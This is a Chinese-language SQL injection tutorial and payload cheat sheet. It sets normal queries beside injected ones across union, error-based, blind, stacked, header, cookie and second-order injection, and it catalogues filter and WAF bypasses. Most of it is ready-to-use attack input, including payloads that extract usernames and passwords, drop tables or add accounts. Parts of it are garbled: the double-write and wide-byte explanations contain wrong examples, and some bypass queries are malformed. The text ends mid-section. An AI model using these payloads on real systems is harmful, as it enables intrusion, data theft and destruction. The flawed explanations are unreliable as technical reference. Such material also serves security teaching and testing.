SQL 注入

注入

1. 按注入数据类型分类

数字型注入

场景说明:当应用程序直接将用户输入的数字值拼接到SQL语句中,且没有进行任何过滤或类型检查时,就会产生数字型注入漏洞。攻击者可以通过构造恶意的数字表达式来改变SQL语句的逻辑。

正常SQL查询语句

1
2
-- 应用程序期望接收一个数字ID来查询用户
SELECT * FROM users WHERE id = 1

注入后的恶意SQL语句

1
2
3
4
5
-- 通过OR条件构造永真式,绕过查询条件,返回所有用户数据
SELECT * FROM users WHERE id = 1 OR 1=1

-- 通过UNION联合查询,获取其他表的数据
SELECT * FROM users WHERE id = 1 UNION SELECT 1,2,3

字符型注入(单引号、双引号)

场景说明:当应用程序将用户输入的字符串值拼接到SQL语句中,且没有正确处理引号转义时,就会产生字符型注入漏洞。攻击者需要先闭合原来的引号,然后构造新的SQL语句,最后注释掉后面的多余代码。

正常SQL查询语句

1
2
3
-- 应用程序期望接收一个用户名来查询用户
-- 输入: admin
SELECT * FROM users WHERE username = 'admin'

注入后的恶意SQL语句

1
2
3
4
5
6
7
-- 单引号闭合:先闭合原有的单引号,再构造OR永真式,最后注释掉后面的引号
-- 攻击输入: admin' OR '1'='1'--
SELECT * FROM users WHERE username = 'admin' OR '1'='1'--'

-- 双引号闭合:原理相同,适用于使用双引号包裹字符串的场景
-- 攻击输入: admin" OR "1"="1"--
SELECT * FROM users WHERE username = "admin" OR "1"="1"--

搜索型注入

场景说明:搜索型注入通常出现在使用LIKE模糊查询的场景中。应用程序将用户输入的搜索关键词直接拼接到LIKE语句中。攻击者可以通过闭合百分号来注入恶意SQL语句,从而绕过搜索条件获取所有数据。

正常SQL查询语句

1
2
3
-- 应用程序根据用户输入的关键词进行模糊搜索
-- 输入: iphone
SELECT * FROM products WHERE name LIKE '%iphone%'

注入后的恶意SQL语句

1
2
3
4
-- 通过闭合前面的%和构造OR永真式,匹配所有记录
-- 攻击输入: %' OR '1'='1'--%
SELECT * FROM products WHERE name LIKE '%' OR '1'='1'--%'
-- 这样所有产品的name都会匹配到,返回全部数据

2. 按注入效果分类

联合查询注入 (Union Based)

场景说明:联合查询注入是最常见的SQL注入方式之一。攻击者利用UNION操作符将恶意查询语句与原查询语句合并,从而在页面中显示数据库中的敏感信息(如数据库名、表名、列名、数据内容等)。这种方法要求前后两个查询的列数相同,且数据类型兼容。

正常SQL查询语句

1
2
-- 应用程序根据ID查询用户信息
SELECT id, username, email FROM users WHERE id = 1

注入后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-- 步骤1:确定原查询的列数,直到报错或页面正常
id=1 ORDER BY 3-- -- 有3列时页面正常,说明原查询有3列

-- 步骤2:使用UNION SELECT 测试回显位置
-- 攻击输入: 1 UNION SELECT 1,2,3--
SELECT id, username, email FROM users WHERE id = 1 UNION SELECT 1,2,3
-- 页面会显示1,2,3,代表三个字段在页面上的显示位置

-- 步骤3:替换回显位置为敏感信息
UNION SELECT database(), user(), version()
-- 获取当前数据库名、当前用户、数据库版本信息

-- 步骤4:查询information_schema获取表名
UNION SELECT table_name, 2, 3 FROM information_schema.tables WHERE table_schema=database()
-- 从系统表information_schema中查询当前数据库的所有表名

-- 步骤5:查询information_schema获取列名
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name='users'
-- 获取users表的所有列名

-- 步骤6:获取目标数据
UNION SELECT username, password, 3 FROM users
-- 直接获取users表中的用户名和密码数据

报错注入

场景说明:报错注入适用于页面不直接显示查询结果,但会显示数据库错误信息的场景。攻击者利用数据库的某些函数特性,故意构造错误查询,将想要获取的信息嵌入到错误消息中显示出来。MySQL中常用的报错函数包括extractvalue()、updatexml()、floor()等。

正常SQL查询语句

1
2
-- 应用程序根据ID查询用户信息
SELECT id, username, email FROM users WHERE id = 1

注入后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
-- extractvalue() 注入:利用XPath解析错误
-- 攻击输入: 1 AND extractvalue(1,concat(0x7e,database(),0x7e))
SELECT id, username, email FROM users WHERE id = 1 AND extractvalue(1,concat(0x7e,database(),0x7e))
-- 错误信息中会显示: XPATH syntax error: '~数据库名~'

-- updatexml() 注入:利用XML更新函数错误
-- 攻击输入: 1 AND updatexml(1,concat(0x7e,database(),0x7e),1)
SELECT id, username, email FROM users WHERE id = 1 AND updatexml(1,concat(0x7e,database(),0x7e),1)
-- 错误信息中会显示: XPATH syntax error: '~数据库名~'

-- floor() 重复组报错:利用rand()与group by的冲突
-- 攻击输入: 1 AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
SELECT id, username, email FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
-- Duplicate entry 错误信息中会显示数据库名

-- exp() 溢出报错:利用大数溢出
-- 攻击输入: 1 AND exp(~(SELECT * FROM (SELECT database())a))
SELECT id, username, email FROM users WHERE id = 1 AND exp(~(SELECT * FROM (SELECT database())a))
-- DOUBLE value is out of range 错误信息中会显示数据

-- geometrycollection() 几何函数报错
-- 攻击输入: 1 AND geometrycollection((select * from (select * from (select database())a)b))
SELECT id, username, email FROM users WHERE id = 1 AND geometrycollection((select * from (select * from (select database())a)b))

-- multipoint() 几何函数报错
-- 攻击输入: 1 AND multipoint((select * from (select * from (select database())a)b))
SELECT id, username, email FROM users WHERE id = 1 AND multipoint((select * from (select * from (select database())a)b))

-- polyline() 几何函数报错
-- 攻击输入: 1 AND polyline((select * from (select * from (select database())a)b))
SELECT id, username, email FROM users WHERE id = 1 AND polyline((select * from (select * from (select database())a)b))

布尔盲注

场景说明:布尔盲注适用于页面不显示查询结果,也不显示错误信息,但会根据查询结果返回不同页面的场景。攻击者通过构造布尔表达式(真/假),根据页面返回结果的不同来判断条件是否成立,从而逐位猜测数据库名、表名、列名和数据内容。这种方法效率较低,需要大量请求。

正常SQL查询语句

1
2
3
-- 应用程序根据ID查询用户信息
-- 存在ID=1的用户时显示正常页面,不存在时显示"用户不存在"
SELECT id, username, email FROM users WHERE id = 1

注入后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-- 步骤1:猜测数据库名长度
-- 攻击输入: 1 AND length(database())=8
SELECT id, username, email FROM users WHERE id = 1 AND length(database())=8
-- 如果页面正常,说明数据库名长度为8;如果页面显示"用户不存在",说明不是8

-- 步骤2:猜测数据库名第一个字符的ASCII码
-- 攻击输入: 1 AND ascii(substr(database(),1,1))=115
SELECT id, username, email FROM users WHERE id = 1 AND ascii(substr(database(),1,1))=115
-- 115对应字符's',如果页面正常,第一个字符是's'

-- 步骤3:使用二分法快速猜测字符(提高效率)
-- 攻击输入: 1 AND ascii(substr(database(),1,1))>100
SELECT id, username, email FROM users WHERE id = 1 AND ascii(substr(database(),1,1))>100
-- 如果页面正常,说明ASCII码大于100

-- 攻击输入: 1 AND ascii(substr(database(),1,1))>110
SELECT id, username, email FROM users WHERE id = 1 AND ascii(substr(database(),1,1))>110
-- 如果页面异常,说明ASCII码在101-110之间

-- 步骤4:获取表的数量
-- 攻击输入: 1 AND (SELECT count(*) FROM information_schema.tables WHERE table_schema=database())=5
SELECT id, username, email FROM users WHERE id = 1 AND (SELECT count(*) FROM information_schema.tables WHERE table_schema=database())=5
-- 如果页面正常,说明当前数据库有5个表

-- 步骤5:逐位猜测每个表名
-- 攻击输入: 1 AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117
SELECT id, username, email FROM users WHERE id = 1 AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117
-- 117对应'u',如果页面正常,第一个表名第一个字符是'u'

时间盲注

场景说明:时间盲注是当页面既不显示查询结果,也不显示错误信息,且无论查询结果如何都返回相同页面时的最后手段。攻击者通过构造条件语句,如果条件为真则让数据库延迟响应(使用sleep()、benchmark()等函数),通过测量响应时间来判断条件是否成立,从而逐位猜测数据。这种方法效率最低,需要大量请求和较长时间。

正常SQL查询语句

1
2
3
-- 应用程序根据ID查询用户信息
-- 无论ID是否存在,都返回相同的"查询成功"页面
SELECT id, username, email FROM users WHERE id = 1

注入后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-- MySQL sleep() 函数延迟注入
-- 攻击输入: 1 AND if(1=1,sleep(5),0)
SELECT id, username, email FROM users WHERE id = 1 AND if(1=1,sleep(5),0)
-- 如果条件1=1为真,数据库延迟5秒响应;如果页面响应时间明显变长,说明条件为真

-- MySQL benchmark() 函数延迟注入(通过重复执行消耗时间)
-- 攻击输入: 1 AND if(1=1,BENCHMARK(5000000,MD5('test')),0)
SELECT id, username, email FROM users WHERE id = 1 AND if(1=1,BENCHMARK(5000000,MD5('test')),0)
-- 执行500万次MD5('test'),产生明显延迟

-- SQL Server waitfor delay 延迟注入
-- 攻击输入: 1;waitfor delay '0:0:5'--
SELECT id, username, email FROM users WHERE id = 1;waitfor delay '0:0:5'--
-- SQL Server专用语法,延迟5秒

-- PostgreSQL pg_sleep() 延迟注入
-- 攻击输入: 1;SELECT pg_sleep(5)--
SELECT id, username, email FROM users WHERE id = 1;SELECT pg_sleep(5)--
-- PostgreSQL专用语法,延迟5秒

-- Oracle dbms_pipe.receive_message() 延迟注入
-- 攻击输入: 1 AND DBMS_PIPE.RECEIVE_MESSAGE('RDS', 5)=1
SELECT id, username, email FROM users WHERE id = 1 AND DBMS_PIPE.RECEIVE_MESSAGE('RDS', 5)=1
-- Oracle专用语法,等待管道消息最多5秒

-- 常用payload模板:结合条件判断和时间延迟逐位猜测数据
-- 攻击输入: 1 AND if(ascii(substr(database(),1,1))>100,sleep(5),0)
SELECT id, username, email FROM users WHERE id = 1 AND if(ascii(substr(database(),1,1))>100,sleep(5),0)
-- 如果数据库名第一个字符的ASCII码大于100,数据库延迟5秒;否则立即返回

堆叠查询注入

场景说明:堆叠查询注入(又称多语句注入)允许攻击者在一次请求中执行多条SQL语句。这是通过在注入点后添加分号来实现的,每条语句按顺序执行。攻击者可以执行任意SQL操作,包括数据窃取、数据修改、数据删除、文件读写等。需要注意的是,并非所有数据库驱动都支持堆叠查询(如PHP的mysqli不支持,但PDO支持)。

正常SQL查询语句

1
2
-- 应用程序根据ID查询用户信息
SELECT id, username, email FROM users WHERE id = 1

注入后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-- MySQL 堆叠查询注入(分号分隔多条语句)
-- 攻击输入: 1;DROP TABLE users--
SELECT id, username, email FROM users WHERE id = 1;DROP TABLE users--
-- 先执行查询,然后删除users表

-- 攻击输入: 1;INSERT INTO users VALUES('hacker','123456')--
SELECT id, username, email FROM users WHERE id = 1;INSERT INTO users VALUES('hacker','123456')--
-- 先执行查询,然后插入恶意用户数据

-- SQL Server 堆叠查询注入
-- 攻击输入: 1;DROP TABLE users;--
SELECT id, username, email FROM users WHERE id = 1;DROP TABLE users;--
-- SQL Server也使用分号分隔语句

-- PostgreSQL 堆叠查询注入
-- 攻击输入: 1;DROP TABLE users;--
SELECT id, username, email FROM users WHERE id = 1;DROP TABLE users;--
-- PostgreSQL同样支持堆叠查询

-- 注意事项:
-- - PHP的mysqli扩展不支持堆叠查询,PDO支持
-- - 堆叠查询的危害极大,可以执行任意SQL命令
-- - 部分数据库和中间件可能对多语句有限制

3. 特殊位置注入

Header 注入

场景说明:Header注入发生在应用程序将HTTP请求头中的信息(如User-Agent、Referer、Cookie、X-Forwarded-For等)直接拼接到SQL语句中的场景。很多日志系统会将这些信息写入数据库,如果没有正确处理,攻击者可以通过修改HTTP请求头来进行SQL注入攻击。

正常SQL查询语句

1
2
3
4
5
-- 应用程序将User-Agent信息记录到数据库
INSERT INTO logs (user_id, action, user_agent) VALUES (1, 'login', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)')

-- 或者根据Referer字段查询信息
SELECT * FROM visits WHERE referer = 'https://www.google.com'

注入后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-- User-Agent 注入:通过修改浏览器User-Agent进行注入
-- 攻击输入: User-Agent: ' OR updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#
INSERT INTO logs (user_id, action, user_agent) VALUES (1, 'login', '' OR updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#')
-- 执行时会在错误信息中显示数据库名

-- Referer 注入:通过修改来源页面进行注入
-- 攻击输入: Referer: ' OR extractvalue(1,concat(0x7e,version(),0x7e))#
SELECT * FROM visits WHERE referer = '' OR extractvalue(1,concat(0x7e,version(),0x7e))#'
-- 执行时会在错误信息中显示数据库版本

-- Cookie 注入:通过修改Cookie中的值进行注入
-- 攻击输入: Cookie: id=1 AND if(ascii(substr(database(),1,1))>100,sleep(5),0)
SELECT * FROM users WHERE id = 1 AND if(ascii(substr(database(),1,1))>100,sleep(5),0)
-- 结合时间盲注,逐位猜测数据库名

-- X-Forwarded-For 注入:通过修改客户端IP进行注入
-- 攻击输入: X-Forwarded-For: 127.0.0.1' OR '1'='1
SELECT * FROM logs WHERE ip_address = '127.0.0.1' OR '1'='1'
-- 绕过IP过滤,返回所有日志记录

二次注入

场景说明:二次注入是一种较难发现的注入方式。攻击者将恶意代码存入数据库,当应用程序再次从数据库读取这个值并拼接到SQL语句中时,恶意代码才会被执行。这种漏洞通常需要两次交互:第一次是数据存储(被转义或过滤但最终存入数据库),第二次是数据读取使用(此时恶意代码生效)。这种注入方式比较隐蔽,因为第一次输入时看起来是安全的。

正常SQL查询语句

1
2
3
4
5
6
7
-- 第一次交互:用户注册时将用户名存入数据库
-- 输入: admin
INSERT INTO users (username, password) VALUES ('admin', 'hashed_password')

-- 第二次交互:修改用户密码时从数据库读取用户名
-- 应用程序获取登录用户的username='admin',然后执行
UPDATE users SET password = 'new_hash' WHERE username = 'admin'

注入后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-- 第一次交互:攻击者注册用户名,输入: admin'#
-- 虽然单引号被转义,但最终存储到数据库的是:admin'#
INSERT INTO users (username, password) VALUES ('admin\'#', 'hashed_password')
-- 存储的实际值为: admin'#

-- 第二次交互:当应用程序读取该用户名并用于查询时
-- 应用程序从数据库获取username='admin'#,然后执行
UPDATE users SET password = 'new_hash' WHERE username = 'admin'#'
-- 恶意代码生效!#号注释掉后面的代码,实际执行的是:
-- UPDATE users SET password = 'new_hash' WHERE username = 'admin'
-- 所有username以'admin'开头的用户密码都会被修改

-- 另一个示例:二次注入实现权限提升
-- 第一次输入: admin'-- (注册时)
INSERT INTO users (username, password, role) VALUES ('admin\'--', 'pass', 'user')

-- 第二次查询:从数据库读取后用于查询
SELECT * FROM users WHERE username = 'admin'--' AND role = 'user'
-- 实际执行: SELECT * FROM users WHERE username = 'admin'
-- 绕过了role='user'的验证条件

场景说明:Cookie注入发生在应用程序使用Cookie中存储的用户标识(如user_id、username等)来查询数据库的场景。很多网站会将用户的登录状态存储在Cookie中,当用户访问页面时,应用程序会读取Cookie中的值并进行数据库查询。如果这些值没有经过验证就直接拼接到SQL语句中,就会产生Cookie注入漏洞。

正常SQL查询语句

1
2
3
4
5
6
-- 应用程序从Cookie读取user_id来查询用户信息
-- Cookie: user_id=1; username=admin
SELECT id, username, email, role FROM users WHERE id = 1

-- 或者根据Cookie中的username查询
SELECT * FROM users WHERE username = 'admin'

注入后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-- Cookie 注入:通过修改Cookie中的username值进行注入
-- 攻击输入: Cookie: username=' OR '1'='1'#
SELECT * FROM users WHERE username = '' OR '1'='1'#'
-- 绕过用户名验证,返回所有用户信息

-- Cookie 注入:通过修改Cookie中的id值进行联合查询注入
-- 攻击输入: Cookie: id=1 UNION SELECT 1,2,3,4
SELECT id, username, email, role FROM users WHERE id = 1 UNION SELECT 1,2,3,4
-- 测试列数,并可能获取其他数据

-- Cookie 时间盲注:结合时间延迟逐位猜测数据
-- 攻击输入: Cookie: id=1 AND if(ascii(substr(database(),1,1))>100,sleep(5),0)
SELECT id, username, email, role FROM users WHERE id = 1 AND if(ascii(substr(database(),1,1))>100,sleep(5),0)
-- 如果数据库名第一个字符的ASCII码大于100,页面响应延迟5秒

-- Cookie 注入实现权限提升
-- 攻击输入: Cookie: user_id=1 OR role='admin'
SELECT id, username, email, role FROM users WHERE user_id = 1 OR role='admin'
-- 返回所有管理员用户的信息,可能泄露敏感数据

绕过

1. 空格绕过

场景说明:当应用程序对SQL语句中的空格进行严格过滤时,攻击者需要寻找替代方法来保持SQL语句的完整性。空格在SQL语句中用于分隔关键字、表名、列名等,过滤空格会导致SQL语法错误。攻击者可以利用各种不常见的空白字符或符号来分隔SQL元素。

正常SQL查询语句

1
2
-- 标准SQL语句,使用空格分隔各个元素
SELECT * FROM users WHERE id = 1 AND username = 'admin'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-- 使用注释符 /**/ 替代空格(MySQL内联注释)
SELECT/**/*/**/FROM/**/users/**/WHERE/**/id=1/**/AND/**/username='admin'

-- 使用括号替代空格(通过括号包裹表达式)
SELECT(username)FROM(users)WHERE(id)=1

-- 使用URL编码的换行符 %0a (等同于\n)
SELECT%0a*%0aFROM%0ausers%0aWHERE%0aid=1%0aAND%0ausername='admin'

-- 使用 + 号替代空格(等同于空格,在某些情况下有效)
SELECT+*+FROM+users+WHERE+id=1+AND+username='admin'

-- 使用URL编码的空格 %20
SELECT%20*%20FROM%20users%20WHERE%20id=1%20AND%20username='admin'

-- 使用制表符 %09 (等同于\t)
SELECT%09*%09FROM%09users%09WHERE%09id=1%09AND%09username='admin'

-- 使用MySQL内联注释 /*! */(MySQL特有的语法)
SELECT/*!*/users/*!*/WHERE/*!*/id=1

-- 使用URL编码的 + 号 %2b
SELECT%2b*%2bFROM%2busers%2bWHERE%2bid=1%2bAND%2busername='admin'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-- 使用注释符 /**/
SELECT/**/*FROM/**/users

-- 使用括号
SELECT(username)FROM(users)WHERE(id)=1

-- 使用 %0a (%a0, %0d, %0c 等换行符)
SELECT%0a*%0aFROM%0ausers

-- 使用 + 号
SELECT+*+FROM+users

-- 使用 %20 URL编码
SELECT%20*%20FROM%20users

-- 使用 %09 (tab制表符)
SELECT%09*%09FROM%09users

-- 使用内联注释 /*! */
SELECT/*!*/users

-- 使用 %2b (+号URL编码)
SELECT%2b*%2bFROM%2busers

2. 宽字节注入

场景说明:宽字节注入利用了MySQL的字符编码特性。当应用程序使用mysql_real_escape_string()等函数对单引号等特殊字符进行转义时,会在前面添加反斜杠()变成'。如果数据库使用GBK、GB2312等宽字节编码,某些字节(如%df)和反斜杠(%5c)组合会形成一个中文字符,从而成功闭合引号,绕过过滤。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个安全的用户名进行查询
-- 输入: admin
SELECT * FROM users WHERE username = 'admin'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-- 宽字节注入原理说明:
-- GBK编码中 %df%27 = 運'(df + 27 = 运')
-- 当mysql_real_escape_string()转义单引号'时变成\'(%5c%27)
-- %df%5c%27 = 運\'(df + 5c = 运,然后剩下')
-- 单引号被成功闭合!

-- 攻击payload示例:
-- 输入: %df' OR 1=1--
SELECT * FROM users WHERE username = '%df\' OR 1=1--'
-- 实际执行: SELECT * FROM users WHERE username = '運' OR 1=1--'
-- 成功绕过单引号转义,执行OR语句

-- 攻击payload示例(URL编码形式):
-- 输入: %df%27%20UNION%20SELECT%201,2,3
SELECT * FROM users WHERE username = '%df\' UNION SELECT 1,2,3'
-- 实际执行: SELECT * FROM users WHERE username = '' UNION SELECT 1,2,3'
-- 成功进行UNION联合查询

-- 常用宽字节前缀(用于和反斜杠%5c组合):
%df # 最常用的前缀,与%5c组成'運'
%81 # 可以和%5c组成'聨'
%af # 可以和%5c组成'餛'
%c0 # 可以和%5c组成'們'
%c1 # 可以和%5c组成們
%c2 # 可以和%5c组成們

-- 宽字节注入检测方法:
-- 尝试输入 %df',如果页面正常,说明可能存在宽字节注入
-- 输入 %df%27,如果页面正常,确认存在宽字节注入

3. 大小写绕过

场景说明:当应用程序的过滤规则只针对固定大小写的SQL关键字(如只过滤”select”、”union”等小写关键字)时,攻击者可以通过改变关键字的大小写来绕过过滤。这种绕过方法简单但有效,特别是一些简单的正则表达式过滤。

正常SQL查询语句

1
2
3
-- 应用程序期望接收一个安全的用户名进行查询
-- 输入: admin
SELECT * FROM users WHERE username = 'admin'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-- 大小写混合绕过示例:
-- 单个关键字的大小写变化
SeLeCt * FrOm uSeRs -- 将select变成SeLeCt,from变成FrOm
UnIoN SeLeCt -- 将union和select都进行大小写混写

-- 其他常见组合
SeLecT * FrOm uSeRs
UniOn SelEct
UNIon SelECT
UnIoN sElEcT
UNIOn SeLeCt

-- 纯大写(一些过滤规则可能只过滤小写)
SELECT * FROM users WHERE username = 'admin' OR '1'='1'

-- 纯大写联合查询
SELECT * FROM users WHERE id = 1 UNION SELECT database(),user(),version()

-- 大小写混合的特殊组合(利用搜索引擎特性)
SeLeCt/**/*/**/FrOm/**/users/**/WhErE/**/username='admin'

-- 部分大小写变化的组合
SELect
sELect
seLect
selEct
seleCt
selecT

-- 这种绕过方法的局限性:
-- 1. 过滤规则使用大小写不敏感的过滤时无效
-- 2. 某些数据库驱动会自动转换关键字为大写或小写
-- 3. 对于严格的白名单过滤机制可能无效

4. 注释符绕过

场景说明:注释符(如#、–、/**/等)在SQL注入中非常重要,用于注释掉查询语句末尾的代码。当应用程序过滤了常用的注释符时,攻击者需要寻找替代方法来注释掉多余代码。绕过注释符过滤对于成功的SQL注入至关重要。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个安全的用户名进行查询
-- 输入: admin
SELECT * FROM users WHERE username = 'admin'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
-- 使用URL编码的#号 %23
-- 攻击输入: admin' OR '1'='1%23
SELECT * FROM users WHERE username = 'admin' OR '1'='1'#'
-- %23被解码为#,成功注释掉后面的单引号

-- 使用 --%20(--加空格)
-- 攻击输入: admin' OR '1'='1--%20
SELECT * FROM users WHERE username = 'admin' OR '1'='1'-- '
-- --%20被解码为-- (注意后面的空格),成功注释

-- 使用 --+(--加+号)
-- 攻击输入: admin' OR '1'='1--+
SELECT * FROM users WHERE username = 'admin' OR '1'='1'--+
-- +在SQL中有时等同于空格,成功注释

-- 使用内联注释 /**/
-- 攻击输入: admin' OR '1'='1'/**/
SELECT * FROM users WHERE username = 'admin' OR '1'='1'/**/'
-- /**/是MySQL的内联注释,可以注释掉任意内容

-- 使用MySQL特有的注释语法 /*! */
-- 攻击输入: admin' /*!OR*/ '1'='1'
SELECT * FROM users WHERE username = 'admin' /*!OR*/ '1'='1'
-- /*!OR*/会被MySQL执行,但某些WAF可能会忽略

-- 使用NULL字节截断 ;%00
-- 攻击输入: admin';%00
SELECT * FROM users WHERE username = 'admin';%00'
-- %00是NULL字节,可能截断后续的代码

-- 其他注释符变体:
-- /*# */ /*后紧跟#,在某些版本有效
-- -- - --后跟减号,在某些版本等同于注释
-- --# --后直接跟#,在某些版本有效
-- - - --中间有空格(特殊写法)

-- 注释符在UNION注入中的重要性:
-- 攻击输入: 1' UNION SELECT 1,2,3--+
-- 注释符确保后面的多余代码被正确注释,避免语法错误

5. 等号绕过

场景说明:当应用程序的过滤规则严格禁止使用等号(=)时,攻击者需要寻找其他比较运算符或逻辑表达式来实现相同的比较效果。等号在SQL注入中用于构造比较条件(如username=’admin’),过滤等号会限制攻击者构造简单的布尔表达式。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个安全的用户名进行查询
-- 输入: admin
SELECT * FROM users WHERE username = 'admin'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
-- 使用 LIKE 替代等号(模糊匹配)
-- 攻击输入: admin' AND 'admin' LIKE 'admin'#
SELECT * FROM users WHERE username = 'admin' AND 'admin' LIKE 'admin'#'
-- LIKE可以实现类似的匹配效果,模糊匹配包含指定字符串的记录

-- 使用小于 < 或大于 > 进行比较
-- 攻击输入: admin' AND 1<2#
SELECT * FROM users WHERE username = 'admin' AND 1<2#'
-- 1<2永远为真,绕过查询限制

-- 使用 BETWEEN 进行范围比较
-- 攻击输入: admin' AND 1 BETWEEN 0 AND 2#
SELECT * FROM users WHERE username = 'admin' AND 1 BETWEEN 0 AND 2#'
-- 1在0和2之间,条件为真

-- 使用 IN 进行集合包含判断
-- 攻击输入: admin' AND 1 IN (1,2,3)#
SELECT * FROM users WHERE username = 'admin' AND 1 IN (1,2,3)#'
-- 1存在于集合(1,2,3)中,条件为真

-- 使用 REGEXP/RLIKE 进行正则表达式匹配
-- 攻击输入: admin' AND 'a' REGEXP 'a'#
SELECT * FROM users WHERE username = 'admin' AND 'a' REGEXP 'a'#'
-- 正则表达式'a'匹配'a',条件为真

-- 使用逻辑非 ! 构造表达式
-- 攻击输入: admin' AND !(0)#
SELECT * FROM users WHERE username = 'admin' AND !(0)#'
-- !(0)等同于NOT 0,等同于1,条件为真

-- 其他等号替代方法:
-- 使用 <> (不等于)
-- 攻击输入: admin' AND 1<>0#
SELECT * FROM users WHERE username = 'admin' AND 1<>0#'
-- 1不等于0,条件为真

-- 使用 IS NULL
-- 攻击输入: admin' AND 'a' IS NOT NULL#
SELECT * FROM users WHERE username = 'admin' AND 'a' IS NOT NULL#'
-- 'a'不为NULL,条件为真

-- 使用 COALESCE 函数
-- 攻击输入: admin' AND COALESCE(1,0)=1#
SELECT * FROM users WHERE username = 'admin' AND COALESCE(1,0)=1#'
-- COALESCE(1,0)返回1,与1相等,条件为真

6. 双写绕过

场景说明:双写绕过利用了某些过滤函数的特性,特别是那些使用正则表达式或简单字符串替换的函数。这些函数通常会先尝试匹配并替换第一个匹配的关键字,但不会处理剩余的关键字。通过双写关键字(如SESELECTLECT),第一次替换后会变成SELECT,剩下的第二次替换又会变成另一个SELECT,从而绕过单次替换的过滤。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个安全的用户名进行查询
-- 输入: admin
SELECT * FROM users WHERE username = 'admin'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
-- 双写原理示例:
-- 如果过滤函数使用 preg_replace('/select/i', '', $sql)
-- 那么 'seSELECTlect' 会被替换成 'select'(先替换第一个se变成空,然后le变成空)
-- 实际执行时变成 'select'

-- 联合查询的双写绕过
-- 攻击输入: 1 UNUNIONION SESELECTLECT 1,2,3
SELECT * FROM users WHERE id = 1 UNUNIONION SESELECTLECT 1,2,3
-- 经过过滤后变成: SELECT * FROM users WHERE id = 1 UNION SELECT 1,2,3

-- 删除表的双写绕过
-- 攻击输入: 1; drdropop ttableable users--
SELECT * FROM users WHERE id = 1; drdropop ttableable users--
-- 经过过滤后变成: SELECT * FROM users WHERE id = 1; DROP TABLE users--

-- 其他关键字的双写绕过:
-- SELECT 变体:
SESELECTLECT -- 变成 SELECT
seleSELECTct -- 变成 select
SELecT -- 变成 SELECT

-- UNION 变体:
UNUNIONION -- 变成 UNION
uniONon -- 变成 union
UNionON -- 变成 UNION

-- FROM 变体:
FRROMom -- 变成 FROM
fromFROM -- 变成 from

-- WHERE 变体:
WWHEREhere -- 变成 WHERE
whereWHERE -- 变成 where

-- JOIN 变体:
JOJOINin -- 变成 JOIN
joinJOIN -- 变成 join

-- INSERT 变体:
INNSERTsert -- 变成 INSERT
insertINSERT -- 变成 insert

-- UPDATE 变体:
UPUPdateDATE -- 变成 UPDATE
updateUPDATE -- 变成 update

-- DELETE 变体:
DEDELETElete -- 变成 DELETE
deleteDELETE -- 变成 delete

-- 这种绕过方法的局限性:
-- 1. 对于多次替换或更智能的过滤无效
-- 2. 某些高级WAF会检测这种模式
-- 3. 对于使用词法分析器的数据库可能无效

7. 编码绕过

场景说明:编码绕过是通过将恶意SQL代码转换为不同的编码格式,绕过应用程序的字符级过滤。当WAF或应用程序只过滤特定字符或关键字时,攻击者可以利用各种编码方式将注入载荷隐藏起来,让数据库在执行前将其解码为可执行的SQL语句。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个安全的用户名进行查询
-- 输入: admin
SELECT * FROM users WHERE username = 'admin'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
-- URL 编码绕过:
-- 将特殊字符转换为URL编码格式
-- 攻击输入: %61%64%6d%69%6e%27%20%4f%52%20%27%31%27%3d%27%31%27%23
